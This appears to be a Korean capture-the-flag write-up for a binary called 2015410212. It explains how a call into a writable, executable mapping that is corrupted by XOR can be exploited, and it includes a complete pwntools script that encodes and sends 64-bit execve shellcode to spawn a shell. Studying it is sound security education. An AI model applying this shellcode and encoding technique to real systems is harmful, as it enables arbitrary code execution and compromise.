64비트 쉘코드, 간단한 xor-2015410212
취약점은 main함수에 있는 call rdx
여기서 rdx는 addr에 담긴 값(0x616267307264)이다
init함수에서
이 부분은 rwxp의 권한을 갖게 된다.
따라서, 이 곳에 쉘코드를 넣어주면 된다!
Enter your code: 해서 이 곳에 원하는 만큼 입력을 받는다.
하지만 문제는 mapping부분에서 xor로 이 부분을 망쳐놓는다는 점이다.
따라서, 어떻게 xor이 이루어지는지를 분석해서 코드를 짜서 쉘을 따는 데에 성공했다.
이 부분은 간단한 xor연산 과정이다!
from pwn import *
payload=""
shellcode="\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
for i in range(len(shellcode)):
if((len(shellcode)-1-i)%3==0):
payload+=p8(ord(shellcode[i])^(len(shellcode)-1-i))
else:
payload+=str(shellcode[i])
print("shellcode:"+shellcode.encode("hex"))
print("payload:"+payload.encode("hex"))
s=process('./2015410212')
#raw_input()
print s.recv(1024)
s.send(str(len(shellcode))+'\n')
print s.recv(1024)
s.send(payload+'\n')
print s.recv(1024)
s.interactive()
s.close()
+) 64비트는 쉘코드가 다르다!
https://www.exploit-db.com/exploits/42179/
내가 사용한 쉘코드는 24바이트 쉘코드!
\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05
'시스템 해킹 > cykor' 카테고리의 다른 글
rop2-ROP+SROP (0) | 2018.01.05 |
---|---|
rop1-ROP+SROP (0) | 2018.01.02 |
rain_dROP-카나리 릭, 메모리 릭 (0) | 2018.01.02 |
derby-카나리 릭 (0) | 2018.01.02 |
2015410208-got overwrite (0) | 2018.01.02 |